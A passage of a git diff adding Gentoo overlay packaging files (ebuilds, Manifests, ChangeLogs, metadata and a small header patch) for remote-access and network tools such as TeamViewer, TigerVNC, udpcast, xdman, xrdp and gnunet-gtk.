+pwd + insinto /opt/teamviewer/ + doins .wine/drive_c/Program\ Files/TeamViewer/Version${MV}/* + + rm teamviewer || die + echo "#!/bin/bash" > teamviewer || die + echo "/usr/bin/wine /opt/teamviewer/TeamViewer.exe" >> teamviewer || die + insinto /usr/bin + dobin teamviewer + + dodoc linux_FAQ_{EN,DE}.txt + dodoc CopyRights_{EN,DE}.txt + + make_desktop_entry ${PN} TeamViewer ${PN} +} diff --git a/net-misc/teamviewer/teamviewer-8.0.16675.ebuild b/net-misc/teamviewer/teamviewer-8.0.16675.ebuild new file mode 100644 index 00000000..130c5270 --- /dev/null +++ b/net-misc/teamviewer/teamviewer-8.0.16675.ebuild @@ -0,0 +1,52 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils + +# Major version +MV=${PV/\.*} + +DESCRIPTION="the All-In-One Solution for Remote Access and Support over the Internet" +HOMEPAGE="http://www.teamviewer.com" +SRC_URI="http://www.teamviewer.com/download/${PN}_linux.tar.gz -> ${P}.tar.gz" + +LICENSE="TeamViewerNovember2011" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RESTRICT="mirror strip" + +RDEPEND=" + app-emulation/wine +" + +S="${WORKDIR}/teamviewer${MV}" + +pkg_setup() { + elog "This ebuild installs the TeamViewer binary and libraries and relies on" + elog "Gentoo's wine package to run the actual program." + elog + elog "If you encounter any problems, consider running TeamViewer with the" + elog "bundled wine package manually." +} + +src_install() { +pwd + insinto /opt/teamviewer/ + doins .wine/drive_c/Program\ Files/TeamViewer/Version${MV}/* + + rm teamviewer || die + echo "#!/bin/bash" > teamviewer || die + echo "/usr/bin/wine /opt/teamviewer/TeamViewer.exe" >> teamviewer || die + insinto /usr/bin + dobin teamviewer + + dodoc linux_FAQ_{EN,DE}.txt + dodoc CopyRights_{EN,DE}.txt + + make_desktop_entry ${PN} TeamViewer ${PN} +} diff --git a/net-misc/tigervnc/Manifest b/net-misc/tigervnc/Manifest new file mode 100644 index 00000000..8e3f9f39 --- /dev/null +++ b/net-misc/tigervnc/Manifest @@ -0,0 +1,5 @@ +DIST tigervnc-1.2.0-patches-0.1.tar.bz2 10194 SHA256 cf58845892b50f1a9f01567747d262ba0619df85fe3bd67e61ebcb3229f75ff5 SHA512 f4061c85572901b160b41107960a46b7faea59d8bee9301bfb62ade26678711b4e86951bda74ca3ce0e51ba1fcddb37404da8e8e469353e8620a72d450fd816a WHIRLPOOL 80a40306cb138a137155b848f471a2bc54f8973eb869cbc90753a23a53361469f0c793389d2dcb341d3cf8bf403c5636f7c1f34722c7a86f7ff58f5afd80dbe9 +DIST tigervnc-1.2.0.tar.gz 2487050 SHA256 6e0910f1ff1681bc8b52e7ea805e586b88b352c88f66e4c2cc31aa39c4a32f53 SHA512 a1ffe59f0db394455859a8de0551819f15f976689565fffc72c5eff9953e9678ff02f10dc0fc51931e251b6b8aee27c5c75c008ee6a7557f3db42911a90a27e5 WHIRLPOOL 5d2fc9be4cf9e281a29d27fc14362471d98b83bf3c396521ab267ad6fea24ed5c5ebeb81775af11ed06f3d0977fcda6976ea6dd16cfe798ed828442ef76a2c78 +DIST tigervnc.png 4958 SHA256 e0828aeb92ccaaf93e690e9ee5e17803de1cb140d3ca79fb756fe08ebbc4492e SHA512 97f9a42e9b9f50f1c91de3b7d7991aa8965240fe4958d6da4e9f72f9baa4510ad615765f7c59d6e0a90c9d4b5fe53ad1547c766f2da45e4a6b6e29b03ced2b8b WHIRLPOOL bbf01f6702724bc4329d053bd3fbf856103371abce20f6f74aa3c2e5eed0eebcdcccd287788b1efbb8de3008cb484a8da5ccd1bd667727e4b0861f3bb550529c +DIST xorg-server-1.13.0.tar.bz2 5469168 SHA256 548b91cb01087ad4f892428e7ac4955251cf12393e86c70420436b33848ef28a SHA512 840a341f796386156ff4eb599c4b3b96090d3fda9cdbe70c45ff175c8d01b62cb9ba04a6c73ddde90996f8b96be1a3d925c9803a3b629cb4bc317374b7b1e014 WHIRLPOOL f52984556237f7c1dd4537727050e6b8347592ef5cd8e6787c65c3fee9bdcadb9709315929636fdc89a2fb4cdfd30f5224072954ed091eafb10fd8cd64a5ac30 +EBUILD tigervnc-1.2.0.ebuild 4881 SHA256 a17d99f14d540bb6403603e4a684b6e7da850aea8bc0f42e890d9ca7acc108c6 SHA512 63d142129fafececf893539b1ab78b8f8df2c5429dcf2bef43e7f75853e9a23ad38fa6e938111018b14bf7f51df3fb180f00a812eeae1404f56cb75c5d3c3355 WHIRLPOOL de083b54e1135643e46fe362862557e6046a680ba7189d43f5942425779a9489eb045f384b2cced0a22b1298732b3e5e35f0b4a3c89234c09b2804829b9c50c8 diff --git a/net-misc/tigervnc/tigervnc-1.2.0.ebuild b/net-misc/tigervnc/tigervnc-1.2.0.ebuild new file mode 100644 index 00000000..6cc27b7f --- /dev/null +++ b/net-misc/tigervnc/tigervnc-1.2.0.ebuild @@ -0,0 +1,196 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/tigervnc/tigervnc-1.2.0.ebuild,v 1.17 2013/01/04 19:29:51 ago Exp $ + +EAPI="4" + +inherit eutils cmake-utils autotools java-pkg-opt-2 flag-o-matic + +PATCHVER="0.1" +XSERVER_VERSION="1.13.0" +OPENGL_DIR="xorg-x11" + +DESCRIPTION="Remote desktop viewer display system" +HOMEPAGE="http://www.tigervnc.org" +SRC_URI="mirror://sourceforge/tigervnc/${P}.tar.gz + mirror://gentoo/${PN}.png + mirror://gentoo/${P}-patches-${PATCHVER}.tar.bz2 + http://dev.gentoo.org/~armin76/dist/${P}-patches-${PATCHVER}.tar.bz2 + server? ( ftp://ftp.freedesktop.org/pub/xorg/individual/xserver/xorg-server-${XSERVER_VERSION}.tar.bz2 )" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 sh sparc x86" +IUSE="gnutls +internal-fltk java nptl +opengl pam server +xorgmodule" + +RDEPEND="virtual/jpeg + sys-libs/zlib + >=x11-libs/libXtst-1.0.99.2 + gnutls? ( net-libs/gnutls ) + java? ( >=virtual/jre-1.5 ) + pam? ( virtual/pam ) + !internal-fltk? ( x11-libs/fltk:1 ) + internal-fltk? ( + x11-libs/libXft + x11-libs/libXinerama + x11-libs/libXcursor ) + server? ( + >=x11-libs/libXi-1.2.99.1 + >=x11-libs/libXfont-1.4.2 + >=x11-libs/libxkbfile-1.0.4 + x11-libs/libXrender + >=x11-libs/pixman-0.21.8 + >=x11-apps/xauth-1.0.3 + x11-apps/xsetroot + >=x11-misc/xkeyboard-config-2.4.1-r3 + opengl? ( >=app-admin/eselect-opengl-1.0.8 ) + xorgmodule? ( =x11-base/xorg-server-${XSERVER_VERSION%.*}* ) + ) + !net-misc/vnc + !net-misc/tightvnc + !net-misc/xf4vnc" +DEPEND="${RDEPEND} + amd64? ( dev-lang/nasm ) + x86? ( dev-lang/nasm ) + >=x11-proto/inputproto-2.1.99.3 + >=x11-proto/xextproto-7.1.99 + >=x11-proto/xproto-7.0.22 + java? ( >=virtual/jdk-1.5 ) + server? ( + virtual/pkgconfig + media-fonts/font-util + x11-misc/util-macros + >=x11-proto/bigreqsproto-1.1.0 + >=x11-proto/compositeproto-0.4 + >=x11-proto/damageproto-1.1 + >=x11-proto/fixesproto-5.0 + >=x11-proto/fontsproto-2.0.2 + >=x11-proto/randrproto-1.4.0 + >=x11-proto/renderproto-0.11 + >=x11-proto/resourceproto-1.0.2 + >=x11-proto/scrnsaverproto-1.1 + >=x11-proto/videoproto-2.2.2 + >=x11-proto/xcmiscproto-1.2.0 + >=x11-proto/xineramaproto-1.1.3 + >=x11-libs/xtrans-1.2.2 + >=x11-proto/dri2proto-2.8 + opengl? ( >=media-libs/mesa-7.8_rc[nptl=] ) + )" + +CMAKE_IN_SOURCE_BUILD=1 + +pkg_setup() { + if ! use server ; then + echo + einfo "The 'server' USE flag will build tigervnc's server." + einfo "If '-server' is chosen only the client is built to save space." + einfo "Stop the build now if you need to add 'server' to USE flags.\n" + else + ewarn "Forcing on xorg-x11 for new enough glxtokens.h..." + OLD_IMPLEM="$(eselect opengl show)" + eselect opengl set ${OPENGL_DIR} + fi +} + +switch_opengl_implem() { + # Switch to the xorg implementation. + # Use new opengl-update that will not reset user selected + # OpenGL interface ... + echo + eselect opengl set ${OLD_IMPLEM} +} + +src_prepare() { + if use server ; then + cp -r "${WORKDIR}"/xorg-server-${XSERVER_VERSION}/* unix/xserver + else + rm "${WORKDIR}"/patches/*_server_* + fi + + EPATCH_SOURCE="${WORKDIR}/patches" EPATCH_SUFFIX="patch" \ + EPATCH_EXCLUDE="015_java7.patch" EPATCH_FORCE="yes" epatch + + if use server ; then + cd unix/xserver + eautoreconf + fi +} + +src_configure() { + + use arm || use hppa && append-flags "-fPIC" + + mycmakeargs=( + -G "Unix Makefiles" + $(cmake-utils_use_use internal-fltk INCLUDED_FLTK) + $(cmake-utils_use_enable gnutls GNUTLS) + $(cmake-utils_use_enable pam PAM) + $(cmake-utils_use_build java JAVA) + ) + + cmake-utils_src_configure + + if use server; then + cd unix/xserver + econf \ + $(use_enable nptl glx-tls) \ + $(use_enable opengl glx) \ + --disable-config-dbus \ + --disable-config-hal \ + --disable-config-udev \ + --disable-devel-docs \ + --disable-dmx \ + --disable-dri \ + --disable-kdrive \ + --disable-selective-werror \ + --disable-silent-rules \ + --disable-static \ + --disable-unit-tests \ + --disable-xephyr \ + --disable-xinerama \ + --disable-xnest \ + --disable-xorg \ + --disable-xvfb \ + --disable-xwin \ + --enable-dri2 \ + --with-pic \ + --without-dtrace + fi +} + +src_compile() { + cmake-utils_src_compile + + if use server ; then + cd unix/xserver + emake + fi +} + +src_install() { + cmake-utils_src_install + + newicon "${DISTDIR}"/tigervnc.png vncviewer.png + make_desktop_entry vncviewer vncviewer vncviewer Network + + if use server ; then + cd unix/xserver/hw/vnc + emake DESTDIR="${D}" install + ! use xorgmodule && rm -rf "${D}"/usr/$(get_libdir)/xorg + + newconfd "${FILESDIR}"/${PN}.confd ${PN} + newinitd "${FILESDIR}"/${PN}.initd ${PN} + + rm "${D}"/usr/$(get_libdir)/xorg/modules/extensions/libvnc.la + else + cd "${D}" + for f in vncserver vncpasswd x0vncserver vncconfig; do + rm usr/bin/$f + rm usr/share/man/man1/$f.1 + done + fi +} + +pkg_postinst() { + use server && switch_opengl_implem +} diff --git a/net-misc/udpcast/ChangeLog b/net-misc/udpcast/ChangeLog new file mode 100644 index 00000000..a68abe0a --- /dev/null +++ b/net-misc/udpcast/ChangeLog @@ -0,0 +1,107 @@ +# ChangeLog for net-misc/udpcast +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/udpcast/ChangeLog,v 1.25 2012/10/08 12:03:04 jer Exp $ + +*udpcast-20120424 (08 Oct 2012) + + 08 Oct 2012; Jeroen Roovers -udpcast-20090920.ebuild, + -udpcast-20100130.ebuild, +udpcast-20120424.ebuild: + Version bump. + + 28 Jan 2012; Pawel Hajdan jr udpcast-20110710.ebuild: + x86 stable wrt bug #400451 + + 27 Jan 2012; Agostino Sarubbo udpcast-20110710.ebuild: + Stable for amd64, wrt bug #400451 + +*udpcast-20110710 (30 Jul 2011) + + 30 Jul 2011; Jeroen Roovers +udpcast-20110710.ebuild: + Version bump. + +*udpcast-20100130 (08 May 2011) + + 08 May 2011; Jeroen Roovers -udpcast-20070602.ebuild, + -udpcast-20071228.ebuild, +udpcast-20100130.ebuild: + Version bump. Respect CFLAGS. + + 21 Nov 2009; Markus Meier udpcast-20090920.ebuild: + x86 stable, bug #286340 + + 23 Oct 2009; Samuli Suominen + udpcast-20090920.ebuild: + amd64 stable wrt #286340 + + 21 Oct 2009; Jeroen Roovers udpcast-20090920.ebuild: + Do not strip (bug #286340, comment #1). + +*udpcast-20090920 (21 Sep 2009) + + 21 Sep 2009; Patrick Lauer -udpcast-20090830.ebuild, + -udpcast-20090912.ebuild, +udpcast-20090920.ebuild: + Bump to 20090920, fixes a bug introduced in the older 2009 versions that + promptly get removed. Thanks to John Eisenman for finding the bug, + communicating with upstream and notifying me of the new release. + +*udpcast-20090912 (17 Sep 2009) + + 17 Sep 2009; Patrick Lauer +udpcast-20090912.ebuild: + Bump + +*udpcast-20090830 (12 Sep 2009) + + 12 Sep 2009; Patrick Lauer +udpcast-20090830.ebuild: + Bump + + 30 Jun 2008; Raúl Porcel udpcast-20071228.ebuild: + x86 stable + +*udpcast-20071228 (30 Mar 2008) + + 30 Mar 2008; Cédric Krier +udpcast-20071228.ebuild: + Version bump + + 03 Feb 2008; Raúl Porcel udpcast-20070602.ebuild: + Fix src_install, bug #208740 + + 26 Jan 2008; Raúl Porcel + -files/udpcast-20070323-makefix.patch, -udpcast-20050226.ebuild, + -udpcast-20070323.ebuild, udpcast-20070602.ebuild: + x86 stable, remove old + +*udpcast-20070602 (02 Jun 2007) + + 02 Jun 2007; Daniel Black + -udpcast-20040222.ebuild, +udpcast-20070602.ebuild: + version bump + +*udpcast-20070323 (06 Apr 2007) + + 06 Apr 2007; Daniel Black + +files/udpcast-20070323-makefix.patch, +udpcast-20070323.ebuild: + version bump + + 09 Feb 2007; Diego Pettenò ChangeLog: + Regenerate digest in Manifest2 format. + + 24 Apr 2005; Marcelo Goes udpcast-20050226.ebuild: + Marking x86 stable. + +*udpcast-20050226 (24 Mar 2005) + + 24 Mar 2005; Marcelo Goes +udpcast-20050226.ebuild: + Version bump. + + 17 Aug 2004; Eldad Zack udpcast-20040222.ebuild: + x86 stable + + 31 Jul 2004; udpcast-20040222.ebuild: + ~amd64 closes bug #57776 + + 01 Jul 2004; Jon Hood udpcast-20040222.ebuild: + change virtual/glibc to virtual/libc, add IUSE + +*udpcast-20040222 (28 Feb 2004) + + 28 Feb 2004; Mike Frysinger : + Initial import. Ebuild submitted by Daniel Fullmer #42816. diff --git a/net-misc/udpcast/Manifest b/net-misc/udpcast/Manifest new file mode 100644 index 00000000..daffb207 --- /dev/null +++ b/net-misc/udpcast/Manifest @@ -0,0 +1,7 @@ +AUX udpcast-define.patch 426 SHA256 debb6029b894ff1c98f34a65c56a2e4c91ab7d9a5e0fc66e653e7139e037408b SHA512 1e42f3a5d3dc91e1314969bf80ae980794b0a651ce1a1c124ecd75dce4ed66a87120ae518c605a925d4440426220839359415015494e229b03f8292dfa6d0d1a WHIRLPOOL 9fa57628dd6e28020b2344586b483e2a9c0db9fee8298357620a239de68e5b007d493700d1bc214af9d81669db07259952df38e9f39d970424bad099825b982a +DIST udpcast-20110710.tar.bz2 138992 SHA256 84a0e577cdd01a555cd6dca80bc66cd0dfe7090848af560428dc71c1e6495329 SHA512 64197117e15a87592ebd41d70fb500bb6b08b119436fdd1149d45948a0e0995414b4e6a8efd5ce292a9e6faf128e8f57971d5888f081eab644ad275d27a4fbaf WHIRLPOOL 8138111d1b2486af494691c80f6820537f2fd940d0f7e2a07d14fd613cd826f55a0bf8b9a7e0aa1da0b5374723956a2c46b05bc2a6f41edb378966bff3e2d732 +DIST udpcast-20120424.tar.bz2 138955 SHA256 d6c30352571a3215f00f8451d0fe932ba24ed5f98653d3aeb554e3c43c079677 SHA512 b28ada43f9f3cba498ffff3032cff6a673584836439275604c1201a18fe2e37f2c847a48b72783065b1656a7a2f9e9739d8a376e90df8b05749bc2e2f64278de WHIRLPOOL 9d8d48fabe30f462e49d2b1dc0b2d190fd5b0e6d1e68f801209a61782185464a952dd46ffbed9a6d39a3da8fce6de99f68916b3ef447db6d0fcc1523a83cc4de +EBUILD udpcast-20110710.ebuild 651 SHA256 82cce26ffc46bee69b47a48d7d37e8b47aeb8c81bfc082d40378b4169c6857d5 SHA512 2d26f4de340760c73e2c781d7d4e3ec0ef5db818c604c8800eb9a5d2b197a73a6c6095b1ec7e77ee243fc1a781fcc44e9aac84a84afc0a74b94983d1c0271771 WHIRLPOOL a8508c1ad210180bb212d65b6c4a3fa9570e50676a96caef88e0dfbad4d4305fd7e473c6f21cc3151ef7144a251b413384fcdf1a878e9634c69eb69f80d0cf9c +EBUILD udpcast-20120424.ebuild 652 SHA256 414500b44d29075760120ecd9226cacdfadc932b8208da95fb31210c0a9ae961 SHA512 52acca2e24cc97f0a490478f82ae572ff1e3605b810a37b2315ceed47b958d094dd412b4c80f0ca300aa3f638f83ff859a075bc84f7240f6c555eb856fd20483 WHIRLPOOL e5df21e56aefaae17b6b572cbfc9862f2e40e34ef4948ba0675d0880ef5d9eecc51fa2cd07fb20f5ac47e0d510319a372d112904e53e3b04635e9e7264e15c44 +MISC ChangeLog 3459 SHA256 a73145f20f7cf2da3c17dcecb820d43120a64c8699e20a7080ba1d6d2ac6749d SHA512 198f2f5142bc95d2d05ec7fb53efd51927a5aea022f170c217e7be326ae2ea5aeb60eb97ef969ef32f74a70a27c2f370e1c1d8a3a041dc6e2253bd3b02e1a690 WHIRLPOOL 3c6b0ba3b9479247f8580dedc2fd11267fa9584768b23246e0a1046e4ae4b01db5f7cbbaae13ff532fa0e40cc771d1addadd51b2b55d486a872e6f585b942c60 +MISC metadata.xml 575 SHA256 df2f4234076fbcd7f357b64386f6e9f23d6c6afce5e70a7f820d7beb5d680d84 SHA512 e4e6ecafd90f60b9dbf8cb5b99b7409bd90c1ec4899d43e6ba7be75c81e3084182ac5fa920fa7780460dfd7348812f096672805e2c01ac05a95068c6a671d2cd WHIRLPOOL 5823b97397edb079fb36a0407de9168a46cba7db9c5e07cc2f90c0890af54cad2b2952d36e4ed0f550047a5578bcd400d5c56f55e38437c6b6dee734a6bf4fbf diff --git a/net-misc/udpcast/files/udpcast-define.patch b/net-misc/udpcast/files/udpcast-define.patch new file mode 100644 index 00000000..526db752 --- /dev/null +++ b/net-misc/udpcast/files/udpcast-define.patch @@ -0,0 +1,12 @@ +diff -ur udpcast-20120424/console.h udpcast-20120424.fix/console.h +--- udpcast-20120424/console.h 2013-07-15 09:31:02.230424117 -0500 ++++ udpcast-20120424.fix/console.h 2013-07-15 09:30:36.482204769 -0500 +@@ -6,6 +6,8 @@ + #include + #endif /* __MINGW32__ */ + ++#include ++ + #define prepareConsole udpc_prepareConsole + #define getConsoleFd udpc_getConsoleFd + #define restoreConsole udpc_restoreConsole diff --git a/net-misc/udpcast/metadata.xml b/net-misc/udpcast/metadata.xml new file mode 100644 index 00000000..526d84b8 --- /dev/null +++ b/net-misc/udpcast/metadata.xml @@ -0,0 +1,13 @@ + + + +netmon + +UDPcast is a file transfer tool that can send data simultaneously to +many destinations on a LAN. This can for instance be used to install +entire classrooms of PC's at once. The advantage of UDPcast over using +other methods (nfs, ftp, whatever) is that UDPcast uses Ethernet's +multicast abilities: it won't take longer to install 15 machines than it +would to install just 2. + + diff --git a/net-misc/udpcast/udpcast-20110710.ebuild b/net-misc/udpcast/udpcast-20110710.ebuild new file mode 100644 index 00000000..fae8e706 --- /dev/null +++ b/net-misc/udpcast/udpcast-20110710.ebuild @@ -0,0 +1,30 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/udpcast/udpcast-20110710.ebuild,v 1.3 2012/01/28 15:20:30 phajdan.jr Exp $ + +EAPI=4 + +DESCRIPTION="Multicast file transfer tool" +HOMEPAGE="http://udpcast.linux.lu/" +SRC_URI="http://udpcast.linux.lu/download/${P}.tar.bz2" + +LICENSE="GPL-2 BSD" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="" + +DEPEND="dev-lang/perl" +RDEPEND="" + +src_prepare() { + epatch "${FILESDIR}"/iambien-patch.patch + sed -i Makefile.in \ + -e '/^LDFLAGS +=-s/d' \ + -e '/^CFLAGS/s: -O6::g' \ + || die +} + +src_install() { + default + dodoc *.txt +} diff --git a/net-misc/udpcast/udpcast-20120424.ebuild b/net-misc/udpcast/udpcast-20120424.ebuild new file mode 100644 index 00000000..f4ae0969 --- /dev/null +++ b/net-misc/udpcast/udpcast-20120424.ebuild @@ -0,0 +1,31 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/udpcast/udpcast-20120424.ebuild,v 1.1 2012/10/08 12:03:04 jer Exp $ + +EAPI=4 + +inherit eutils + +DESCRIPTION="Multicast file transfer tool" +HOMEPAGE="http://udpcast.linux.lu/" +SRC_URI="http://udpcast.linux.lu/download/${P}.tar.bz2" + +LICENSE="GPL-2 BSD" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="dev-lang/perl" + +src_prepare() { + epatch "${FILESDIR}"/"${PN}"-define.patch + sed -i Makefile.in \ + -e '/^LDFLAGS +=-s/d' \ + -e '/^CFLAGS/s: -O6::g' \ + || die +} + +src_install() { + default + dodoc *.txt +} diff --git a/net-misc/xdman/Manifest b/net-misc/xdman/Manifest new file mode 100644 index 00000000..0d8a4d11 --- /dev/null +++ b/net-misc/xdman/Manifest @@ -0,0 +1,2 @@ +DIST xdman.zip 405717 SHA256 38b757a54f24798c0db966cb17ce8c4bb5603b3e7f735c930a0a9762d85fea7c SHA512 a32307d399bac5d6990b7383c603ebcc4e0c497b308597abd125def1212371fed4ad6111181ae56bc8ac996727a27761d2d187308dd8d7dd5461ce93782ba549 WHIRLPOOL ae8924037b57f63e218a9be05059c2e37820504171bb1ac6a8f3660c01f44cba52f7c250ab136edb176cf6087bc9e1d3e2f6ff3b16a64c2137ea059ed842f20c +EBUILD xdman-1.0.ebuild 863 SHA256 2d380bd6e87ebbd78299b1d9518f6b22dc9c8ba0af86e6809d052514aba07974 SHA512 ae6c5060e9341384b8d29f5bdfe5104abfbd3da49b1bac2df9012bcca78440a7bb3016315436e41841195baa7ba1d8978ac10e5f4f8084c5c271f45caade9353 WHIRLPOOL e801333e4e5c86c5160c31bfe8fa5bcf1a3b4b393d79a38b8e1fa7afbdd790b79b254fa8d3be9325c80a3fdcb399e50fb2a5cb2464ac218eea036706c50019db diff --git a/net-misc/xdman/xdman-1.0.ebuild b/net-misc/xdman/xdman-1.0.ebuild new file mode 100644 index 00000000..481b420a --- /dev/null +++ b/net-misc/xdman/xdman-1.0.ebuild @@ -0,0 +1,45 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit eutils + +DESCRIPTION="XDman Internet Downloader" +HOMEPAGE="http://xdman.sourceforge.net/" +SRC_URI="mirror://sourceforge/${PN}/${PN}.zip" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="app-admin/eselect-java" +RDEPEND="${DEPEND}" + +S="${WORKDIR}" + +src_install() { + ls $S + dodir /usr/share/${PN} + dodir /usr/share/applications/ + dodir /usr/share/pixmaps + dodir /usr/bin/ + + insinto /usr/share/${PN} + doins "${S}"/${PN}.jar + cd "${D}"/usr/share/${PN} + echo "cd /usr/share/${PN} && \ + java -jar ${PN}.jar" > "${D}"/usr/bin/${PN} + + insinto /usr/share/pixmaps + doins "${S}"/icon.png + + insinto /usr/share/${PN} + make_desktop_entry xdman xdman \ + "/usr/share/${PN}/icon.png" \ + Internet + + fperms u+x /usr/bin/${PN} +} diff --git a/net-misc/xrdp/Manifest b/net-misc/xrdp/Manifest new file mode 100644 index 00000000..523da59f --- /dev/null +++ b/net-misc/xrdp/Manifest @@ -0,0 +1 @@ +EBUILD xrdp-9999.ebuild 2648 SHA256 2d9070034dfe1733ad8ee8d382df3ea5e0c974a16ed5e8875f9a83b0c3eb78df SHA512 974e3a89f0e21cfcc1a4e9d742f0f15baa7e443e3f788e2f902ac1ceee3a1ecd2c3d1410634b51576b4c78efe3d0a9f29d86a9ba5c844cdae75f4ac29e6ac2f1 WHIRLPOOL 8d96668bcf8ab6942fa8255a66578c4cb35b25065a3458b124dbe6c6c707c39d1d0dffba78ad52395a511c10589eb23f8cacefed60d646c6c9ae26625e23bc76 diff --git a/net-misc/xrdp/xrdp-9999.ebuild b/net-misc/xrdp/xrdp-9999.ebuild new file mode 100644 index 00000000..fc3a2cf5 --- /dev/null +++ b/net-misc/xrdp/xrdp-9999.ebuild @@ -0,0 +1,94 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils multilib cvs + +DESCRIPTION="An open source remote desktop protocol(rdp) server." +HOMEPAGE="http://xrdp.sourceforge.net/" +SRC_URI="" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="" +IUSE="" + +DEPEND="sys-libs/pam" +RDEPEND="${DEPEND} + || ( x11-misc/x11vnc net-misc/vnc[server] net-misc/tightvnc )" + +DESTDIR="/usr/$(get_libdir)/${PN}" + +src_unpack() { + ECVS_SERVER="xrdp.cvs.sourceforge.net:/cvsroot/xrdp" + ECVS_USER="anonymous" + ECVS_PASS="" + ECVS_AUTH="pserver" + ECVS_MODULE="xrdp" + ECVS_LOCALNAME="xrdp" + + S="${WORKDIR}/${ECVS_LOCALNAME}" + + cvs_src_unpack + cd "${S}" + + # fix makefile problem in sesrun + epatch "${FILESDIR}/xrdp-9999-002-sesrun-config.patch" + + # fix sandbox security violation issues + epatch "${FILESDIR}/xrdp-9999-001-sandbox-violation.patch" + + # domain as module name non-auto fix, and hidden modules patch + epatch "${FILESDIR}/xrdp-9999-003-domain-as-module-name-noauto-fix-and-hidden-option.patch" + + # ignore client auth when module has preset + # No longer required as it has been merged into CVS HEAD + # xrdp/xrdp/xrdp_wm.c r1.63, Thu May 28 21:01:01 2009 UTC + #epatch "${FILESDIR}/xrdp-9999-004-ignore-client-auth-on-preset.patch" + + autoreconf -fvi + + # fix cflags, broken paths, multilib, and insecure rpath in all makefiles + for MAKE in $(find . -name Makefile) ; do + sed -i "s:CFLAGS = -Wall -O. :CFLAGS += : + s:/usr/xrdp:${DESTDIR}:g + s:/usr/lib/:/usr/$(get_libdir)/:g + s:rpath,\.:rpath,${DESTDIR}:g" ${MAKE} + done + + #sed -i '/instfiles\/xrdp_control1.sh/ d' Makefile +} + +src_configure() { + econf --localstatedir=/var || die "econf failed" +} + +src_compile() { + emake -j1 DESTDIR="${DESTDIR}" || die "emake failed" +} + +src_install() { + emake -j1 DESTDIR="${D}" install || die "emake install failed" + emake -j1 -C sesman/tools DESTDIR="${D}" install || die "emake install failed" + emake -j1 -C sesman/libscp DESTDIR="${D}" install || die "emake install failed" + dodoc design.txt readme.txt sesman/startwm.sh + doman "${D}/usr/share/man/"*/* + keepdir /var/log/${PN} + rm -f "${D}/etc/xrdp/xrdp.sh" "${D}/etc/init.d/xrdp.sh" + cp "${FILESDIR}/startwm.sh" "${D}/etc/xrdp/" + cp -f "${FILESDIR}/xrdp.ini" "${D}/etc/xrdp/" + chmod 755 "${D}/etc/xrdp/startwm.sh" + newinitd "${FILESDIR}/${PN}-initd-cvs" ${PN} + newconfd "${FILESDIR}/${PN}-confd-cvs" ${PN} + sed -i "s:LIBDIR:$(get_libdir):" "${D}/etc/init.d/${PN}" +} + +pkg_postinst() { + # generate a new rsa key if needed + if [ ! -e "/etc/xrdp/rsakeys.ini" ] ; then + elog "Generating xrdp keys..." + xrdp-keygen xrdp /etc/xrdp/rsakeys.ini + fi +} diff --git a/net-p2p/gnunet-gtk/ChangeLog b/net-p2p/gnunet-gtk/ChangeLog new file mode 100644 index 00000000..ec7fd339 --- /dev/null +++ b/net-p2p/gnunet-gtk/ChangeLog @@ -0,0 +1,21 @@ +# ChangeLog for net-p2p/gnunet-gtk +# Copyright 1999-2010 Gentoo Foundation; Distributed under the GPL v2 +# $Header: $ + +*gnunet-gtk-0.8.1a (16 Feb 2010) + + 16 Feb 2010; Ycarus +gnunet-gtk-0.8.1a.ebuild: + Bump to 0.8.1a + +*gnunet-gtk-0.8.1 (01 Jan 2010) + + 01 Jan 2010; Ycarus +gnunet-gtk-0.8.1.ebuild: + Bump to 0.8.1 + + 30 Jul 2008; Ycarus +gnunet-gtk-0.8.0a.ebuild: + Bump to version 0.8.0a + + 15 Jun 2008; +gnunet-gtk-0.8.0_pre1.ebuild, + +gnunet-gtk-0.8.0.ebuild: + Bump to version 0.8.0 + diff --git a/net-p2p/gnunet-gtk/Manifest b/net-p2p/gnunet-gtk/Manifest new file mode 100644 index 00000000..ee21bace --- /dev/null +++ b/net-p2p/gnunet-gtk/Manifest @@ -0,0 +1,20 @@ +DIST gnunet-gtk-0.7.3.tar.bz2 709939 SHA256 034e21a130d1dcfb1a27d57a7e0f879b8a58a3d739c1c5ee6d2c0b3865896e1d +DIST gnunet-gtk-0.8.0.tar.bz2 804666 SHA256 8c367f3ec77dcb44571eb840a5209deb7d160ef31639b338b655b8944fb83786 +DIST gnunet-gtk-0.8.0a.tar.bz2 804612 SHA256 7956637db0a2504f250a2870830be00bd71700d5854efd7f2885ed8271c3eaa7 +DIST gnunet-gtk-0.8.0c.tar.bz2 682748 SHA256 f67d06f3af4e72890326592254de68668c0d80c1e6196fa6d2430823f01ef837 +DIST gnunet-gtk-0.8.0pre0.tar.bz2 749479 SHA256 26f1d785df4260372bab5a3e0062b32c5510a47e25f14315f82a88f88a5871d6 +DIST gnunet-gtk-0.8.0pre1.tar.bz2 792185 SHA256 dc629d7cedb0910aeb031d0619210fc884eb5afd3c7a9b8d276179d7071d2e6c +DIST gnunet-gtk-0.8.1.tar.gz 1090644 SHA256 b4eec2c2f06a5893172d7d344466c56325ec17040552289d8853abdf5650be43 +DIST gnunet-gtk-0.8.1a.tar.gz 1091669 SHA256 